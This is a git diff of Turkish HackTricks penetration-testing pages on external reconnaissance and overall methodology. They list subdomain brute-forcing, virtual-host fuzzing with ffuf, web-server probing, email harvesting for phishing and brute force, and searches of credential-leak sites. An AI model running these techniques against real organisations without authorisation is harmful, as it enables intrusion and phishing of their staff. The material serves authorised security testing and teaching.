* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını listelemenizi sağlayan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır. Ayrıca, alt alan adlarını joker karakter desteği ile çözümleme ve kolay girdi-çıktı desteği sunar.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -391,7 +391,7 @@ Açık kaynaklar ve kaba kuvvet kullanarak alt alan adlarını bulduktan sonra,
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur.
* goaltdns permutasyonlarını **kelime listesi** olarak [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
* goaltdns permutasyonlarını **wordlist** olarak [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -410,7 +410,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Belirtilen kalıplara dayanarak bir alan adı temelinde **yeni potansiyel alt alan adı isimleri üretir** ve daha fazla alt alan adı keşfetmeye çalışır.
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Belirtilen kalıplara dayanarak bir alan adı üzerinden **yeni potansiyel alt alan adı isimleri üretir** ve daha fazla alt alan adı keşfetmeye çalışır.
#### Akıllı permütasyonlar üretimi
@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özelleştirilmiş bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi sağlanan bir girdi setini kullanarak, daha fazla ilgili alan adı sentezlemek ve DNS taraması sırasında toplanan bilgilere dayalı olarak bunları daha da genişletmek için döngü içinde doğru bir şekilde kullanır.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, son derece basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özelleştirilmiş bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi sağlanan bir girdi veri setini kullanarak, daha fazla ilgili alan adı sentezlemek ve bunları DNS taraması sırasında toplanan bilgilere dayalı olarak bir döngüde daha da genişletmek için kullanılır.
```
echo www | subzuf facebook.com
```
@ -432,9 +432,9 @@ Bir alan adından **alt alan keşfini otomatikleştirme** hakkında yazdığım
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
### **VHosts / Sanal Ana Bilgisayarlar**
### **VHosts / Sanal Ana Bilgiler**
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force yapabilirsiniz**.
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**.
#### OSINT
@ -442,7 +442,7 @@ Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com
**Brute Force**
Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force yapmayı deneyebilirsiniz:
Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force denemesi yapabilirsiniz:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -473,20 +473,20 @@ Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**
### **Monitorization**
Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) bunu yapar.
Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Güvenlik açıklarını arama**
Mümkün olan [**alt alan devralmalarını**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
Mümkün olan [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
Eğer **alt alan** bazı **S3 bucket**'larına **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
Eğer keşfettiğiniz varlıkların IP'lerinden farklı bir **IP ile alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
_Bazı durumlarda alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
Eğer keşif sırasında bulduğunuz varlıklardan farklı bir IP'ye sahip herhangi bir **alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
_Bazı durumlarda alt alanın, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
## IP'ler
Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\
Artık **bu aralıklardan tüm IP'leri toplama** ve **alan adları/alt alanlar (DNS sorguları)** için zamanı geldi.
Artık bu aralardan **tüm IP'leri toplama** ve **alan adları/alt alanlar (DNS sorguları)** için zamanı geldi.
Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve alt alanlar tarafından kullanılan önceki IP'leri** de bulabilirsiniz. Bu IP'ler hala müşteri tarafından sahiplenilmiş olabilir (ve [**CloudFlare bypass'larını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza yardımcı olabilir).
@ -509,7 +509,7 @@ Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek içi
Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin verilirse**).
**Web** sunucularıyla ilgili **açık portları keşfetmek için hızlı bir yöntem** [**masscan** kullanarak burada bulunabilir](../pentesting-network/#http-port-discovery).\
Web sunucularını aramak için başka bir dostça araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve 80 (http) ve 443 (https) portlarına bağlanmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz:
Web sunucularını aramak için başka bir kullanıcı dostu araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve port 80 (http) ve 443 (https) ile bağlantı kurmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@ -520,13 +520,13 @@ Artık **kapsamda bulunan tüm web sunucularını** (şirketin **IP'leri** ve t
Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'i** kullanabilirsiniz.
Ayrıca, [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** tarayabilir ve **hangi noktaların muhtemelen zafiyet içerebileceğini** belirleyebilirsiniz.
Ayrıca, tüm **ekran görüntülerini** taramak için [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak **zayıflık içerebilecek** olanları ve içermeyenleri belirleyebilirsiniz.
## Kamu Bulut Varlıkları
Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan bir **anahtar kelime listesi ile başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan **anahtar kelimelerle bir listeye başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine ihtiyacınız olacak:
Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine de ihtiyacınız olacak:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
@ -534,11 +534,11 @@ Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine
Sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round) bölümüne bakın).
Elde edilen kelime listeleri ile [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısınız**.
### **Zafiyet Arama**
### **Zayıflıkları Aramak**
**Açık kova veya bulut işlevleri** gibi şeyler bulursanız, bunlara **erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz.
@ -546,12 +546,12 @@ Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısın
Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için gereken her şeye** sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'ler ile
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
* [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm)
* [**https://app.snov.io/**](https://app.snov.io/) API'si (ücretsiz sürüm)
* [**https://minelead.io/**](https://minelead.io/) API'si (ücretsiz sürüm)
### **Zafiyet Arama**
### **Zayıflıkları Aramak**
E-postalar, daha sonra **web girişleri ve kimlik doğrulama hizmetleri** (SSH gibi) için **kaba kuvvet** yapmak için faydalı olacaktır. Ayrıca, **phishing** için de gereklidir. Ayrıca, bu API'ler, e-posta arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır.
@ -562,20 +562,20 @@ E-postalar, daha sonra **web girişleri ve kimlik doğrulama hizmetleri** (SSH g
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Zafiyet Arama**
### **Zayıflıkları Aramak**
**Geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazançtır.
## Gizli Bilgi Sızıntıları
## Gizli Bilgiler Sızıntıları
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesi ile ilgilidir. Ancak, şirketler, bu veritabanlarında olmayan **diğer sızıntılardan** da etkilenebilir:
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler, bu veritabanlarında olmayan **diğer sızıntılardan** da etkilenebilir:
### Github Sızıntıları
Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılmış olabilir.\
Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılabilir.\
**Leakos** adlı aracı kullanarak bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirmek** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **sağlanan URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir.
**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **verilen URL'ler** üzerinden tüm **metin** üzerinde **gitleaks** çalıştırmak için de kullanılabilir.
#### Github Dorks
@ -588,21 +588,21 @@ Ayrıca, saldırdığınız kuruluşta arayabileceğiniz potansiyel **github dor
### Paste Sızıntıları
Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilir**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak bunu aramak çok ilginçtir.\
Birden fazla paste sitesinde aynı anda arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz.
Birden fazla paste sitesinde aynı anda aramak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz.
### Google Dorks
Eski ama altın değerindeki google dorks, **orada olmaması gerekenık bilgileri bulmak için** her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu nedenle, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
Eski ama altın değerinde google dorks, **orada olmaması gereken** **ık bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
_Not: Tüm veritabanını düzenli Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
### **Zafiyet Arama**
### **Zayıflıkları Aramak**
**Geçerli sızdırılmış** kimlik bilgileri veya API jetonları bulursanız, bu çok kolay bir kazançtır.
## Kamu Kodu Zafiyetleri
## Kamu Kod Zayıflıkları
Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edebilir** ve üzerinde **zafiyetler** arayabilirsiniz.
Eğer şirketin **açık kaynak kodu** olduğunu bulduysanız, bunu **analiz edebilir** ve üzerinde **zayıflıklar** arayabilirsiniz.
**Dile bağlı olarak**, kullanabileceğiniz farklı **araçlar** vardır:
@ -610,15 +610,15 @@ Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edeb
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır:
Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır, örneğin:
* [**Snyk**](https://app.snyk.io/)
## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/)
**Hata avcıları tarafından bulunan zafiyetlerin** çoğunluğu **web uygulamalarında** yer almaktadır, bu nedenle bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
**Hata avcıları tarafından bulunan zayıflıkların** çoğunluğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
Ayrıca, **çok hassas zafiyetleri bulmanızı beklememelisiniz** ama **ilk web bilgilerini elde etmek için** uygulama akışlarında kullanışlı olan [**Web Otomatik Tarayıcılarık kaynak araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum.
Ayrıca, [**Web Otomatik Tarayıcılarıık kaynak araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.**
## Tekrar
@ -627,14 +627,14 @@ Ayrıca, **çok hassas zafiyetleri bulmanızı beklememelisiniz** ama **ilk web
Yani, zaten şunları buldunuz:
1. Kapsamdaki tüm **şirketleri** buldunuz
2. Şirketlere ait tüm **varlıkları** buldunuz (ve kapsamda ise bazı zafiyet taramaları gerçekleştirdiniz)
2. Şirketlere ait tüm **varlıkları** buldunuz (ve kapsamda bazı zayıflık taramaları gerçekleştirdiniz)
3. Şirketlere ait tüm **alan adlarını** buldunuz
4. Alan adlarının tüm **alt alan adlarını** buldunuz (herhangi bir alt alan devralma durumu var mı?)
5. Kapsamdaki tüm **IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz.
6. Tüm **web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?)
7. Şirkete ait tüm **potansiyel kamu bulut varlıklarını** buldunuz.
8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir.
9. Bulduğunuz tüm **web sitelerini pentest ettiniz**
9. Bulduğunuz tüm web sitelerini **pentest ettiniz**
## **Tam Recon Otomatik Araçlar**
@ -649,15 +649,15 @@ Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek birk
* [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hackleme kariyerine** ve hacklenemez olanı hacklemeye ilgi duyuyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hackleme kariyerine** ve hacklenemez olanı hacklemeye ilginiz varsa - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve uygulayın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,27 +1,27 @@
# Pentesting Metodolojisi
# Pentesting Methodology
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Pentesting Metodolojisi
## Pentesting Methodology
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
@ -31,9 +31,9 @@ _Hacktricks logoları_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel saldırılar hakkında bazı ipuçlarını** [**okumalısınız**](../hardware-physical-access/physical-attacks.md) ve [**GUI uygulamalarından kaçış hakkında**](../hardware-physical-access/escaping-from-gui-applications.md) diğerlerini incelemelisiniz.
### 1 - [Ağ içindeki hostları keşfetmek](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetmek](external-recon-methodology/)
### 1 - [Ağ içindeki hostları keşfetmek](pentesting-network/#discovering-hosts)/ [Şirketin varlıklarını keşfetmek](external-recon-methodology/)
**Yaptığınız** **testin** **içsel veya dışsal test** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (içsel test) veya **şirketin internetteki varlıklarını bulmak** (dışsal test) isteyebilirsiniz.
**Yaptığınız** **testin** **içsel veya dışsal test** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (içsel test) veya **şirketin varlıklarını internette bulmak** (dışsal test) ile ilgilenebilirsiniz.
{% hint style="info" %}
Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan sonra bu kılavuzu yeniden başlatmalısınız.
@ -42,13 +42,13 @@ Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan so
### **2-** [**Ağ ile Eğlenmek**](pentesting-network/) **(İçsel)**
**Bu bölüm yalnızca içsel bir test yapıyorsanız geçerlidir.**\
Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting ı**](pentesting-network/#sniffing) okuyabilirsiniz.
Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Network**](pentesting-network/#sniffing) bölümünü okuyabilirsiniz.
### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts)
### 3- [Port Tarama - Servis keşfi](pentesting-network/#scanning-hosts)
**Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlara**](pentesting-network/#scanning-hosts) bakalım.
### **4-** [Servis versiyon açıklarını aramak](search-exploits.md)
### **4-** [**Servis versiyon açıklarını aramak**](search-exploits.md)
Hangi servislerin çalıştığını ve belki de versiyonlarını öğrendikten sonra, **bilinen zafiyetleri aramalısınız**. Belki şansınız yaver gider ve size bir shell verecek bir exploit bulursunuz...
@ -59,17 +59,17 @@ Eğer çalışan herhangi bir servis için şık bir exploit yoksa, her çalış
**Bu kitapta en yaygın servisleri pentest etmek için bir kılavuz bulacaksınız** (ve o kadar yaygın olmayan diğerlerini de). Lütfen, sol dizinde **_**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır).
**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (en kapsamlı olanıdır).**\
Ayrıca, [**yazılımdaki bilinen zafiyetleri bulma**](search-exploits.md) hakkında küçük bir kılavuz burada bulunabilir.
Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](search-exploits.md) hakkında küçük bir kılavuz burada bulunabilir.
**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimleri arayın ve **eklememi istiyorsanız bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting'inizi** gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimleri arayın ve **eklememi istiyorsanız bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting** işleminizi gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
#### 5.1 Otomatik Araçlar
Ayrıca **otomatik zafiyet değerlendirmeleri** yapabilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri hakkında notlara dayanan bir araçtır.**
Ayrıca **otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri hakkında notlara dayanan bir araçtır.**
#### **5.2 Brute-Force ile hizmetleri zorlamak**
Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için yararlı olabilir. [**Farklı servislerin brute forcing'ine dair bir CheatSheet burada bulabilirsiniz**](brute-force.md)**.**
Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için yararlı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet'ini buradan bulun**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/)
@ -77,7 +77,7 @@ Eğer bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için **bazı
### **7-** [**Shell Elde Etmek**](reverse-shells/)
Bir şekilde, kurban üzerinde **kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesini bulmak çok faydalı olacaktır](reverse-shells/).
